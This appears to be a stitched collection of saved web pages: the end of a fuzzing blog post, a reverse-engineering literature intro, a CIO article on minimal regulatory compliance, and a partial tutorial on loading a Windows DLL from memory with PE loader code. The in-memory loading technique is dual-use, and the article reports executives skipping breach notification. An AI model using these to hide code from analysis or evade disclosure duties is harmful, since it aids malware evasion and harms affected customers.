  * Intelligent Brute Force or generation-based fuzzing: With intelligent brute force fuzzing we actually have to research the file specification. An intelligent fuzzing engine is still brute force attacking, but it relies on configuration files from the user, making the process more intelligent. Think of templates that the fuzzing engine will use that has a list of data structures, positions relative to each other, and possible values. An example of this kind of fuzzer is SPIKEfile.

Besides the importance of the fuzzing generator \(for heuristics\) we can’t
forget the importance of an automated way to load test cases in an application
and monitor them for faults. What good is shoving 10,000 malicious test cases
or files at an app and it crashes 4 times – if we don’t know the specifics of
when/where/how it crashed? In the end the better the details we have for how
the application crashed and what exactly made it crash, the easier it will be
to develop an exploit for it \(if it’s an exploitable bug\).

So almost of equal importance to a fuzzing generator is some sort of framework
for automating and monitoring the actual fuzzing.

I’m thinking that I’m going to start off with using FileFuzz from iDefense.
It’s ok for what it does I guess – which is generally brute forcing file
formats. It has a pretty limited functionality for a fuzzing engine – but it
does have a easy-to-get-started automation and debugging/monitoring engine.
Right now I’m thinking of using some other intelligent fuzzing generator to
generate a shit-ton of test file cases then kick off FileFuzz to automate the
loading/monitoring of the application. The drawback of FileFuzz is that the
generation engine sucks and it’s not capable of muti-threading the apps that
it’s testing \(at least it come with the source so we can change that later if
it turns out that it works well\).

The other things I’m currently in the process of trying to figure out are
exactly what fuzzing engine I want to use to generate test files and what file
format to start on.

If anyone is interested in getting in on this buy the book and shoot me an
email \(anautonomouszone \[at\] gmail \[dot\] com\). I’d really like to get
more people on this stuff to bounce ideas off of each other.

Cheers,

Chuck B.

# Current state of reverse-engineering: Introduction | Find X
**Created:**| _8/2/2010 7:39:08 PM_  
---|---  
**Updated:**| _8/2/2010 7:39:31 PM_  
**Author:**| __  
**Tags:**| _bookmark reversing howto_  
  

Find X

# "Docendo discimus" – A blog about my thoughts, ideas, questions and answers.

RSSTwitter

## Current state of reverse-engineering: Introduction

  * August 2nd, 2010
  *   * Posted in Reverse Engineering
  *   * Write comment

For my literature study I am reading several papers on reverse engineering to
look into to the current state of reverse engineering. The papers I read
include some older, but also some fairly recent published papers on the
subject. The idea is to write a draft version of my paper in a series of blog
posts. All the papers used are referenced so you can read them if you like.
Since this is a draft every post is subject to change. Feedback is off course
welcome.

## Introduction

Reverse engineering, specific to computer science, is the act of deriving a
high level description from a low level description to uncover the meaning and
behavior. The low level description is the translation of the high level
description where most of the information that describes the meaning to a
human is removed. General purpose computers are unaware of the semantics of a
description and it is therefore not needed for execution. The mentioned high
level description is a broad term in the case of reverse engineering. This is
deliberately, because it can be many different things as long as it describes
the meaning of a low level description to a human or even a computer for that
matter. The broadness of the term high level description differentiate between
reverse engineering and decompilers. The latter is a part of reverse
engineering where a low level description is translated back into a high level
description \(e.g. Assembly translated back to C\). Decompilers perform the
opposite translation done by compilers.

The range of applications for reverse engineering is big. Reverse engineering
is used for security, finding flaws in applications for which the source code
is for some reason unavailable, detecting malicious software like Trojans or
Worms . For compatibly between interfaces where one of the interfaces is
unknown. Here the term interface is again deliberately a broad term; a more
specific example is the reverse engineering of a protocol message format or a
file format. Behavior deduction, for example the inner workings of a closed
source driver. All the applications of reverse engineering come down to
program comprehension and only differ in the amount of program comprehension.

The application of reverse engineering can be manual, semi-automatic or
automatic. In this overview we will look at proposed solutions that
automatically reverse engineer possible binaries. All the solutions use
automatic reverse engineering because time is of essence during the analysis.
This is often the case for security related analysis or when the subject is to
complicated to analysis manual in a given time frame. The proposed solutions
are divided in the following applications:

  * Inference of abstract data types and data structures.
  * Extraction of protocol message format and file format specifications.
  * Dissecting malicious binaries.
  * Vulnerability discovery.
  * Device driver synthesis.

The proposed solutions will be discussed per application. This gives a good
overview on the evolution of some of the solutions. Issues discovered in one
solution are solved in another.

All the solutions use symbolic execution, monitored execution or a mix of
symbolic and monitored execution to analysis their subjects. This so called
dynamic analysis has several advantages compared to static analysis as well as
some disadvantages. The most obvious advantage is that at run time you have
information that is not available compared to when a subject is analysed
statically. Some situations that cannot be solved due to lack of information
are solvable using dynamic analysis. On of the disadvantages is that the
information retrieved depends on the execution of the subject. The execution
of a subject may vary depending on external events, the execution of a subject
is not deterministic. During the discussion of the proposed solutions we will
elaborate on the pro’s and cons of dynamic analysis versus static analysis.

# Your Guide To Good-Enough Compliance | CIO
**Created:**| _12/5/2014 5:19:14 PM_  
---|---  
**Updated:**| _12/5/2014 5:19:14 PM_  
**Author:**| __  
**Tags:**| __  
  

# Your Guide To Good-Enough Compliance

## Noncompliance is a fact of life as the list of security and privacy
regulations grows. The key is knowing how to comply just enough so that you
don't waste your time or bankrupt your company.

By Allan Holmes

Apr 6, 2007 8:00 AM PT

In November 2005, Jason Spaltro, executive director of information security at
Sony Pictures Entertainment, sat down in a conference room with an auditor who
had just completed a review of his security practices.

The auditor told Spaltro that Sony had several security weaknesses, including
insufficiently strong access controls, which is a key Sarbanes-Oxley
requirement.

Furthermore, the auditor told Spaltro, the passwords Sony employees were using
did not meet best practice standards that called for combinations of random
letters, numbers and symbols. Sony employees were using proper nouns. \(Sox
does not dictate how secure passwords need to be, but it does insist that
public companies protect and monitor access to networks, which many auditors
and consultants interpret as requiring complex password-naming conventions.\)

Summing up, the auditor told Spaltro, “If you were a bank, you’d be out of
business.”

Frustrated, Spaltro responded, “If a bank was a Hollywood studio, it would be
out of business.”

Spaltro argued that if his people had to remember those nonintuitive
passwords, they’d most likely write them down on sticky notes and post them on
their monitors. And how secure would that be?

After some debate, the auditor agreed not to note “weak passwords” as a Sox
failure.

**Doing the Right Thing**

Spaltro’s experience illuminates a transaction that’s rarely discussed outside
corporate walls. Compliance with federal, state, and international privacy and
security laws and regulations often is more an interpretive art than an
empirical science—and it is frequently a matter for negotiation. How to \(or,
for some CIOs, even whether to\) follow regulations is neither a simple
question with a simple answer nor a straightforward issue of following
instructions. This makes it more an exercise in risk management than
governance. Often, doing the right thing means doing what’s right for the
bottom line, not necessarily what’s right in terms of the regulation or even
what’s right for the customer.

“There are decisions that have to be made,” Spaltro explains. “We’re trying to
remain profitable for our shareholders, and we literally could go broke trying
to cover for everything. So, you make risk-based decisions: What’re the most
important things that are absolutely required by law?” Spaltro does those,
noting that “Sony is over-compliant in many areas,” and he says that Sony
takes “the protection of personal information very seriously and invests
heavily in controls to protect it.”

He adds that “Legislative requirements are mandatory, but going the extra step
is a business decision” based on what makes business sense.

So you adjust, you decide, you weigh the issues. It’s not black and white, yes
or no.

When it comes to compliance, you can, in fact, be a little bit pregnant.

**Living Dangerously**

When business metrics are applied to compliance, many companies decide to
deploy as little technology or process as possible—or to ignore the governing
laws and regulations completely.

According to “The Global State of Information Security 2006” survey conducted
by CIO and PricewaterhouseCoopers, about a quarter of U.S. executives who say
their companies must comply with Sox regulations admit to being noncompliant
with the 2002 law. \(See The Global State of Information Security 2006.\) Two-
thirds of U.S. companies are not compliant with the two-year-old Payment Card
Industry \(PCI\) Data Security Standard, with guidelines \(and penalties\)
developed by the major credit card companies to protect their customers’
credit card numbers. And 42 percent of U.S. healthcare companies admit to not
complying with the almost 10-year-old Health Insurance Portability and
Accountability Act \(HIPAA\), which requires health institutions to secure
private health information.

“The dirty little secret here is that everybody tries to figure out how much
risk they can assume without being embarrassed or caught,” says David Taylor,
a former Gartner security analyst and now vice president for data security
strategies for Protegrity, a security and privacy consultancy. “The people I
regularly talk to are trying to figure out if \[their security\] fails, what’s
the smallest amount they need to do to stay out of trouble and how they can
blame someone else.”

The percentage of CIOs who admit to being noncompliant at first may be a bit
unnerving, leaving the impression that a significant portion of IT executives
are scofflaws. But the problem is more complicated than bad or irresponsible
behavior.

What most security experts believe is that CIOs and CSOs are so overwhelmed by
the demands of their jobs—running projects, innovating, keeping the lights on
and putting out those ever-smoldering IT fires—that they simply don’t have the
time to decipher the laws that affect them, much less the time to invest in
reconfiguring systems and processes to meet regulatory requirements. \(This
problem is exacerbated in smaller companies. See The ROI of Noncompliance in
the Mid-Market.\) And make no mistake: It takes a lot of time. According to a
2006 Gartner report, IT organizations spend between 5,000 and 20,000 man hours
a year trying to stay compliant with Sarbanes-Oxley’s requirements.

Complicating the CIO’s task, even auditors frequently are unclear as to what
the laws mean. Alex Bakman, founder and CTO for Ecora Software, which sells
audit compliance applications, asserts that the checklist for Sox compliance
that some auditors use can differ within the same company. “For Sox, how IT
needs to be managed for compliance is really all over the place,” Bakman says.

But there is, thankfully, an emerging consensus on how to comply in ways that
make business sense.

**Sox Simplified**

Sarbanes-Oxley, which became law in 2004, remains something of a mystery. “Sox
is tough; it’s hard,” says Rich Mogull, a Sox analyst at Gartner. “When we
look at what companies are doing, there are shifting standards, and auditors
enforce the standards differently.”

What it means to be Sox compliant can be a moving target. Many confused CIOs
have turned to standard to-do checklists supplied by Sox auditors or
consultants. But that strategy, Spaltro argues, frequently leads to no
compliance at all. “When they begin to implement \[the checklist\], they
quickly find out how much more it costs than they thought,” he says. “Soon,
they can’t keep up with the demands of completing all the items and they give
up.”

Spaltro recommends CIOs and security executives sit down with outside
auditors, their corporate legal staff and executives from human resources to
figure out what Sox compliance means—not what it means in the abstract but
what it means to their company specifically. For example, a bank’s risk of not
following a strict interpretation of Sox compliance may be higher than, say,
an entertainment company like Sony. A bank must build a higher level of trust
with its customers because it manages their money. Risks at other companies
may be lower, which means compliance may require lower \(and less expensive\)
levels of controls. “I sincerely believe that if we left it all up to the
auditors to tell us what works, we wouldn’t have a business at the end of the
day,” Spaltro says.

Most compliance experts agree that CIOs should at least be able to show that
they have made a good faith effort to comply with the law. For example, the
Sox requirement to control access to sensitive information includes deploying
ID management, requiring companies to monitor log files. But how do you know
if you have met the standard for monitoring, and what is the standard?

For Sergio Pedro, a managing director in PricewaterhouseCoopers’ advisory
services practice, monitoring doesn’t mean spending thousands on technology.
Rather, he says the process is very similar to the one your CPA may ask you to
follow when tracking the days you spend in an office in one state and the days
you are in an office in another state: Just write it down. The person
designated to monitor the log files should mark on a printed copy of the files
any concerns, initial the file and file it. “Sox deficiencies basically
involve not being able to produce evidence that you’ve done your job,” Pedro
says. “You just have to prove that you checked the process.”

**Negotiating Privacy**

Two federal laws require organizations to protect the private information of
customers: the Gramm-Leach-Bliley Act \(GLBA\) of 1999 and HIPAA. Generally,
GLBA requires any organization that stores personal financial information on
customers to have a comprehensive security program that identifies threats and
risks, and the steps it has taken to address them. HIPAA is similar to GLBA,
but instead of protecting financial information, the act requires healthcare
organizations to secure health records and guarantee patient privacy.

Both laws, by design, are not highly prescriptive. The Federal Trade
Commission, which enforces the so-called Safeguard Rule as part of the GLBA,
states that “the plan must be appropriate to the company’s size and
complexity, the nature and scope of its activities, and the sensitivity of the
customer information it handles.” Which leaves a lot of room for
interpretation.

And interpretation usually requires negotiation. Glen Damiani, director of IT
at the money management firm United Capital Markets \(UCM\), says much of his
job involves mediating between employees who insist they need access to
certain information and the compliance officer who insists on strict access
controls. Mostly, a middle ground can be worked out, he says.

For example, when Damiani was head of technology at a healthcare organization
\(prior to joining UCM\), a clinician was transferred from the oncology
department to the obstetrics unit. The clinician asked Damiani for permission
to access the records of her former oncology patients. She wanted to continue
to track their progress and provide them moral support. But the company’s
privacy officer ruled that the clinician’s new responsibilities in obstetrics
did not give her the right to access the oncology database.

Damiani negotiated a compromise in which the clinician could have access to
those patients she had had direct contact with while working in the oncology
unit. Strictly speaking, HIPAA does not allow such access, but Damiani argued
that it would facilitate continuity of care, an important medical principle.
“Compliance has got to be a give and take,” Damiani says. “The compliance
officer may be dead set on not giving access, but another senior person is
trying to do their job.”

Auditors are increasingly looking for guidance in these matters, Pedro says.
But be advised: CIOs should document the discussions and highlight the main
points of why the decision was made to allow access to certain data. That way,
you can explain your reasoning to state and federal regulators when they come
knocking on your door if data is lost or leaked. A clearly worded argument
backing up a decision may help convince regulators that you thought about the
risks, you thought about how to mitigate them and you took compliance with the
law into consideration.

This is particularly pertinent when it comes to deciding whether to encrypt
data. No law currently requires companies to encrypt data, but it is an
effective way to protect data, and the FTC has fined companies for privacy
breaches. So what to do? Pedro says a best practice has developed in the past
year that recommends encryption for data that may leave the organization
\(data on laptops, PDAs and in e-mail\) while leaving data that remains in-
house \(on, say, a mainframe\) unencrypted.

Again, you will want to document why your organization believes that this is
an appropriate practice. “If you can show that you have read the pertinent
regulations, and show that this is your interpretation of what the regulation
says, and you can show intent to protect the data, you are more protected than
those who haven’t done that,” Pedro says.

**Notification: The Risk Analysis**

At a 2006 security conference, Protegrity VP Taylor ate lunch next to the CISO
of a large metropolitan university. The CISO told Taylor that she had received
an e-mail from one of her programmers informing her that the school may have
experienced a breach that may have exposed students’ personal information. The
programmer was unsure if the law required the school to report the incident
and asked the CISO for guidance.

Taylor asked her what she did. She said she wrote back to the programmer
telling him not to do anything.

Taylor told the CISO that the university should have reported the breach. The
CISO disagreed, saying, essentially, that because very few people review
system log files and because only one or two people at the university
understood the systems and the data in them, it was probable that the breach
would go unremarked and undiscovered. “I was thinking, Wow,” Taylor recalls.
“That’s a risky chance to take.”

According to Behnam Dayanim, a privacy attorney with Paul, Hastings, Janofsky
& Walker, state security breach notification laws are among the most
frequently ignored types of security regulation. About 35 states have passed
security breach notification laws, which lay out, to varying degrees, when an
enterprise needs to notify customers and clients if their private information
may have been exposed to an unauthorized user. According to CIO and
PricewaterhouseCoopers’ “The Global State of Information Security 2006”
survey, 32 percent of U.S. organizations admit to not being compliant with
state privacy regulations.

There are two possible explanations for why the noncompliance rate is so high.
First, the risk of being caught is low because it has been extremely difficult
to tie a specific instance of fraud to a specific breach at a specific
company, says Jim Lewis, a security expert at the Center for Strategic and
International Studies in Washington, D.C. \(Recent lawsuits filed against
TJX­—owner of discount retailers TJ Maxx, Marshalls and other stores—which
claim credit card numbers stolen during a security breach in 2005 and 2006 led
to specific instances of fraud, may indicate that this fact of security life
is changing. For more on the TJX breach, see Financial Penalties for Security
Breaches Will Promote Change.\)

Second, these laws tend not to be terribly specific regarding situations and
requirements. For example, California’s security breach notification law, the
first in the nation, does not require notification of a security breach if the
private data was encrypted. However, it also does not require encryption.

For that reason, how companies protect private data has become a risk-based
business decision, says Sony’s Spaltro. Sony processes about 5 million credit
card transactions a month, mostly associated with its PlayStation consoles and
the massively multiplayer online games it sells. Although Spaltro declines to
talk about Sony’s security practices, he says that while Sony Online
Entertainment is fully compliant, every company weighs the cost of protecting
personal data with the cost of what it would take to notify customers if a
breach occurred. Spaltro offers a hypothetical example of a company that
relies on legacy systems to store and manage credit card transactions for its
customers. The cost to harden the legacy database against a possible intrusion
could come to $10 million, he says. The cost to notify customers in case of a
breach might be $1 million. With those figures, says Spaltro, “it’s a valid
business decision to accept the risk” of a security breach. “I will not invest
$10 million to avoid a possible $1 million loss,” he suggests.

That reasoning is “shortsighted,” argues Ari Schwartz, a privacy expert at the
Center for Democracy and Technology. The cost of notification is only a small
part of the potential cost to a company. Damage to the corporate brand can be
significant. And if the FTC rules that the company was in any way negligent,
it could face multimillion-dollar fines. In 2006, the FTC fined information
aggregator ChoicePoint $15 million after the company admitted to inadvertently
selling more than 163,000 personal financial records to thieves. The FTC ruled
ChoicePoint had not taken proper precautions to check the background of
customers asking for the information.

**Crime and Punishment**

How can a CIO know that the security measures he’s taken will be adjudged
customary and reasonable by federal or state regulators? Looking at the 15
security breach cases the FTC has ruled on since 2002, a picture emerges as to
what regulators deem reasonable \(the FTC plans this spring to release a
document that will set out more specific guidelines\), and by looking at the
14 cases the FTC has settled against companies that have experienced security
breaches, one can get a sense of what’s deemed customary. \(For a look at some
of the more recent cases, see When Companies Violate the Rules.\)

In 2005 the FTC handed down a judgment against BJ’s Wholesale Club. BJ’s was
found to have “engaged in a number of practices which, taken together, did not
provide reasonable security for sensitive customer information.” The FTC ruled
that BJ’s had failed to encrypt personal data transmitted over the Internet;
had stored personal data after it no longer needed the information; used
commonly known default passwords for access to files containing personal
information; and did not use commercially available technology to secure
wireless connections, detect intrusions or conduct security audits.

“We know security can’t be perfect, so we don’t expect perfection,” says
Jessica Rich, assistant director of the Division for Privacy and Identity
Protection at the FTC. “But companies need to try, and if you do that, you
will be much better off.”

But for some, “trying” requires a lot more than receiving an “A” for effort.
You better know what you are doing, says Joe Fantuzzi, CEO of the information
security company Workshare. He says the FTC’s ruling against BJ’s was intended
to send the message that if you claim to protect your customers’ personal data
in your privacy statement \(as BJ’s did\), your security had better be up to
the task.

“The point is that companies make risk management versus compliance management
trade-offs all the time,” Fantuzzi says. “Just make sure you do your homework
so you know you made the right trade-off.”

_Allan Holmes is a Washington, D.C.-based freelancer and security expert._

# Loading a DLL from memory - random :: entropy

**Created:**| _1/25/2010 9:51:14 PM_  
---|---  
**Updated:**| _1/25/2010 9:51:32 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit_  
  

# Loading a DLL from memory

This tutorial describes a technique how a dynamic link library \(DLL\) can be
loaded from memory without storing it on the hard-disk first.

Author:| Joachim Bauch  
---|---  
Contact:| mail@joachim-bauch.de  
Copyright:| Creative Commons License \(by-sa\)  
Contents

  * Overview
  * Windows executables - the PE format
    * DOS header / stub
    * PE header
    * Section header
  * Loading the library
    * Allocate memory
    * Copy sections
    * Base relocation
    * Resolve imports
    * Protect memory
    * Notify library
  * Exported functions
  * Freeing the library
  * MemoryModule
    * Downloads
    * Known issues
    * License
    * Ports
  * Copyright

#### Overview

The default windows API functions to load external libraries into a program
\(LoadLibrary, LoadLibraryEx\) only work with files on the filesystem. It's
therefore impossible to load a DLL from memory. But sometimes, you need
exactly this functionality \(e.g. you don't want to distribute a lot of files
or want to make disassembling harder\). Common workarounds for this problems
are to write the DLL into a temporary file first and import it from there.
When the program terminates, the temporary file gets deleted.

In this tutorial, I will describe first, how DLL files are structured and will
present some code that can be used to load a DLL completely from memory -
without storing on the disk first.

#### Windows executables - the PE format

Most windows binaries that can contain executable code \(.exe, .dll, .sys\)
share a common file format that consists of the following parts:

DOS header DOS stub  
---  
PE header  
Section header  
Section 1  
Section 2  
. . .  
Section n  
All structures given below can be found in the header file winnt.h.

##### DOS header / stub

The DOS header is only used for backwards compatibility. It precedes the DOS
stub that normally just displays an error message about the program not being
able to be run from DOS mode.

Microsoft defines the DOS header as follows:

[code]

    typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
        WORD   e_magic;                     // Magic number
        WORD   e_cblp;                      // Bytes on last page of file
        WORD   e_cp;                        // Pages in file
        WORD   e_crlc;                      // Relocations
        WORD   e_cparhdr;                   // Size of header in paragraphs
        WORD   e_minalloc;                  // Minimum extra paragraphs needed
        WORD   e_maxalloc;                  // Maximum extra paragraphs needed
        WORD   e_ss;                        // Initial (relative) SS value
        WORD   e_sp;                        // Initial SP value
        WORD   e_csum;                      // Checksum
        WORD   e_ip;                        // Initial IP value
        WORD   e_cs;                        // Initial (relative) CS value
        WORD   e_lfarlc;                    // File address of relocation table
        WORD   e_ovno;                      // Overlay number
        WORD   e_res[4];                    // Reserved words
        WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
        WORD   e_oeminfo;                   // OEM information; e_oemid specific
        WORD   e_res2[10];                  // Reserved words
        LONG   e_lfanew;                    // File address of new exe header
      } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
    
    
[/code]

##### PE header

The PE header contains informations about the different sections inside the
executable that are used to store code and data or to define imports from
other libraries or exports this libraries provides.

It's defined as follows:

[code]

    typedef struct _IMAGE_NT_HEADERS {
        DWORD Signature;
        IMAGE_FILE_HEADER FileHeader;
        IMAGE_OPTIONAL_HEADER32 OptionalHeader;
    } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
    
    
[/code]

The FileHeader describes the  _physical_ format of the file, i.e. contents,
informations about symbols, etc:

[code]

    typedef struct _IMAGE_FILE_HEADER {
        WORD    Machine;
        WORD    NumberOfSections;
        DWORD   TimeDateStamp;
        DWORD   PointerToSymbolTable;
        DWORD   NumberOfSymbols;
        WORD    SizeOfOptionalHeader;
        WORD    Characteristics;
    } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
    
    
[/code]

The OptionalHeader contains informations about the  _logical_ format of the
library, including required OS version, memory requirements and entry points:

[code]

    typedef struct _IMAGE_OPTIONAL_HEADER {
        //
        // Standard fields.
        //
    
        WORD    Magic;
        BYTE    MajorLinkerVersion;
        BYTE    MinorLinkerVersion;
        DWORD   SizeOfCode;
        DWORD   SizeOfInitializedData;
        DWORD   SizeOfUninitializedData;
        DWORD   AddressOfEntryPoint;
        DWORD   BaseOfCode;
        DWORD   BaseOfData;
    
        //
        // NT additional fields.
        //
    
        DWORD   ImageBase;
        DWORD   SectionAlignment;
        DWORD   FileAlignment;
        WORD    MajorOperatingSystemVersion;
        WORD    MinorOperatingSystemVersion;
        WORD    MajorImageVersion;
        WORD    MinorImageVersion;
        WORD    MajorSubsystemVersion;
        WORD    MinorSubsystemVersion;
        DWORD   Win32VersionValue;
        DWORD   SizeOfImage;
        DWORD   SizeOfHeaders;
        DWORD   CheckSum;
        WORD    Subsystem;
        WORD    DllCharacteristics;
        DWORD   SizeOfStackReserve;
        DWORD   SizeOfStackCommit;
        DWORD   SizeOfHeapReserve;
        DWORD   SizeOfHeapCommit;
        DWORD   LoaderFlags;
        DWORD   NumberOfRvaAndSizes;
        IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
    } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
    
    
[/code]

The DataDirectory contains 16 \(IMAGE\_NUMBEROF\_DIRECTORY\_ENTRIES\) entries
defining the logical components of the library:

Index| Description  
---|---  
0 | Exported functions   
1 | Imported functions   
2 | Resources   
3 | Exception informations   
4 | Security informations   
5 | Base relocation table   
6 | Debug informations   
7 | Architecture specific data   
8 | Global pointer   
9 | Thread local storage   
10 | Load configuration   
11 | Bound imports   
12 | Import address table   
13 | Delay load imports   
14 | COM runtime descriptor   
For importing the DLL we only need the entries describing the imports and the
base relocation table. In order to provide access to the exported functions,
the exports entry is required.

##### Section header

The section header is stored after the OptionalHeader structure in the PE
header. Microsoft provides the macro IMAGE\_FIRST\_SECTION to get the start
address based on the PE header.

Actually, the section header is a list of informations about each section in
the file:

[code]

    typedef struct _IMAGE_SECTION_HEADER {
        BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
        union {
                DWORD   PhysicalAddress;
                DWORD   VirtualSize;
        } Misc;
        DWORD   VirtualAddress;
        DWORD   SizeOfRawData;
        DWORD   PointerToRawData;
        DWORD   PointerToRelocations;
        DWORD   PointerToLinenumbers;
        WORD    NumberOfRelocations;
        WORD    NumberOfLinenumbers;
        DWORD   Characteristics;
    } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
    
    
[/code]

A section can contain code, data, relocation informations, resources, export
or import definitions, etc.

#### Loading the library

To emulate the PE loader, we must first understand, which steps are neccessary
to load the file to memory and prepare the structures so they can be called
from other programs.

When issuing the API call LoadLibrary, Windows basically performs these tasks:

  1. Open the given file and check the DOS and PE headers.
  2. Try to allocate a memory block of PEHeader.OptionalHeader.SizeOfImage bytes at position PEHeader.OptionalHeader.ImageBase.
  3. Parse section headers and copy sections to their addresses. The destination address for each section, relative to the base of the allocated memory block, is stored in the VirtualAddress attribute of the IMAGE\_SECTION\_HEADER structure.
  4. If the allocated memory block differs from ImageBase, various references in the code and/or data sections must be adjusted. This is called  _Base relocation_.
  5. The required imports for the library must be resolved by loading the corresponding libraries.
  6. The memory regions of the different sections must be protected depending on the section's characteristics. Some sections are marked as  _discardable_ and therefore can be safely freed at this point. These sections normally contain temporary data that is only needed during the import, like the informations for the base relocation.
  7. Now the library is loaded completely. It must be notified about this by calling the entry point using the flag DLL\_PROCESS\_ATTACH.

In the following paragraphs, each step is described.

##### Allocate memory

All memory required for the library must be reserved / allocated using
VirtualAlloc, as Windows provides functions to protect these memory blocks.
This is required to restrict access to the memory, like blocking write access
to the code or constant data.

The OptionalHeader structure defines the size of the required memory block for
the library. It must be reserved at the address specified by ImageBase if
possible:

[code]

    memory = VirtualAlloc((LPVOID)(PEHeader->OptionalHeader.ImageBase),
        PEHeader->OptionalHeader.SizeOfImage,
        MEM_RESERVE,
        PAGE_READWRITE);
    
    
[/code]

If the reserved memory differs from the address given in ImageBase, base
relocation as described below must be done.

##### Copy sections

Once the memory has been reserved, the file contents can be copied to the
system. The section header must get evaluated in order to determine the
position in the file and the target area in memory.

Before copying the data, the memory block must get committed:

[code]

    dest = VirtualAlloc(baseAddress + section->VirtualAddress,
        section->SizeOfRawData,
        MEM_COMMIT,
        PAGE_READWRITE);
    
    
[/code]

Sections without data in the file \(like data sections for the used
variables\) have a SizeOfRawData of 0, so you can use the
SizeOfInitializedData orSizeOfUninitializedData of the OptionalHeader. Which
one must get choosen depending on the bit flags
IMAGE\_SCN\_CNT\_INITIALIZED\_DATA andIMAGE\_SCN\_CNT\_UNINITIALIZED\_DATA
that may be set in the section\`s characteristics.

##### Base relocation

All memory addresses in the code / data sections of a library are stored
relative to the address defined by ImageBase in the OptionalHeader. If the
library can't be imported to this memory address, the references must get
adjusted =>  _relocated_. The file format helps for this by storing
informations about all these references in the base relocation table, which
can be found in the directory entry 5 of the DataDirectory in the
OptionalHeader.

This table consists of a series of this structure

[code]

    typedef struct _IMAGE_BASE_RELOCATION {
        DWORD   VirtualAddress;
        DWORD   SizeOfBlock;
    } IMAGE_BASE_RELOCATION;
    
    
[/code]

It contains \(SizeOfBlock - IMAGE\_SIZEOF\_BASE\_RELOCATION\) / 2 entries of
16 bits each. The upper 4 bits define the type of relocation, the lower 12
bits define the offset relative to the VirtualAddress.

The only types that seem to be used in DLLs are

IMAGE\_REL\_BASED\_ABSOLUTE

    No operation relocation. Used for padding. 
IMAGE\_REL\_BASED\_HIGHLOW

    Add the delta between the ImageBase and the allocated memory block to the 32 bits found at the offset. 
##### Resolve imports

The directory entry 1 of the DataDirectory in the OptionalHeader specifies a
list of libraries to import symbols from. Each entry in this list is defined
as follows:

[code]

    typedef struct _IMAGE_IMPORT_DESCRIPTOR {
        union {
            DWORD   Characteristics;            // 0 for terminating null import descriptor
            DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
        };
        DWORD   TimeDateStamp;                  // 0 if not bound,
                                                // -1 if bound, and real date\time stamp
                                                //     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                                // O.W. date/time stamp of DLL bound to (Old BIND)
    
        DWORD   ForwarderChain;                 // -1 if no forwarders
        DWORD   Name;
        DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
    } IMAGE_IMPORT_DESCRIPTOR;
    
    
[/code]

The Name entry describes the offset to the NULL-terminated string of the
library name \(e.g. KERNEL32.DLL\). The OriginalFirstThunk entry points to a
list of references to the function names to import from the external library.
FirstThunk points to a list of addresses that gets filled with pointers to the
imported symbols.

When we resolve the imports, we walk both lists in parallel, import the
function defined by the name in the first list and store the pointer to the
symbol in the second list:

[code]

    nameRef = (DWORD *)(baseAddress + importDesc->OriginalFirstThunk);
    symbolRef = (DWORD *)(baseAddress + importDesc->FirstThunk);
    for (; *nameRef; nameRef++, symbolRef++)
    {
        PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase + *nameRef);
        *symbolRef = (DWORD)GetProcAddress(handle, (LPCSTR)&thunkData->Name);
        if (*funcRef == 0)
        {
            handleImportError();
            return;
        }
    }
    
    
[/code]

##### Protect memory

Every section specifies permission flags in it's Characteristics entry. These
flags can be one or a combination of

IMAGE\_SCN\_MEM\_EXECUTE

    The section contains data that can be executed. 
IMAGE\_SCN\_MEM\_READ

    The section contains data that is readable. 
IMAGE\_SCN\_MEM\_WRITE

    The section contains data that is writeable. 
These flags must get mapped to the protection flags

  * PAGE\_NOACCESS
  * PAGE\_WRITECOPY
  * PAGE\_READONLY
  * PAGE\_READWRITE
  * PAGE\_EXECUTE
  * PAGE\_EXECUTE\_WRITECOPY
  * PAGE\_EXECUTE\_READ
  * PAGE\_EXECUTE\_READWRITE

Now, the function VirtualProtect can be used to limit access to the memory. If
the program tries to access it in a unauthorized way, an exception gets raised
by Windows.

In addition the section flags above, the following can be added:

IMAGE\_SCN\_MEM\_DISCARDABLE

    The data in this section can be freed after the import. Usually this is specified for relocation data. 
IMAGE\_SCN\_MEM\_NOT\_CACHED

    The data in this section must not get cached by Windows. Add the bit flag PAGE\_NOCACHE to the protection flags above. 
##### Notify library

The last thing to do is to call the DLL entry point \(defined by
AddressOfEntryPoint\) and so notifying the library about being attached to a
process.

The function at the entry point is defined as

[code]

    typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
    
    
[/code]

So the last code we need to execute is

[code]

    DllEntryProc entry = (DllEntryProc)(baseAddress + PEHeader->OptionalHeader.AddressOfEntryPoint);
    (*entry)((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, 0);
    
    
[/code]

Afterwards we can use the exported functions as with any normal library.

#### Exported functions

If you want to access the functions that are exported by the library, you need
to find the entry point to a symbol, i.e. the name of the function to call.

The directory entry 0 of the DataDirectory in the OptionalHeader contains
informations about the exported functions. It's defined as follows:

[code]

    typedef struct _IMAGE_EXPORT_DIRECTORY {
        DWORD   Characteristics;
        DWORD   TimeDateStamp;
        WORD    MajorVersion;
        WORD    MinorVersion;
        DWORD   Name;
        DWORD   Base;
        DWORD   NumberOfFunctions;
        DWORD   NumberOfNames;
        DWORD   AddressOfFunctions;     // RVA from base of image
        DWORD   AddressOfNames;         // RVA from base of image
        DWORD   AddressOfNameOrdinals;  // RVA from base of image
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
    
    
[/code]

First thing to do, is to map the name of the function to the ordinal number of
the exported symbol. Therefore, just walk the arrays defined by
AddressOfNamesand AddressOfNameOrdinals parallel until you found the required
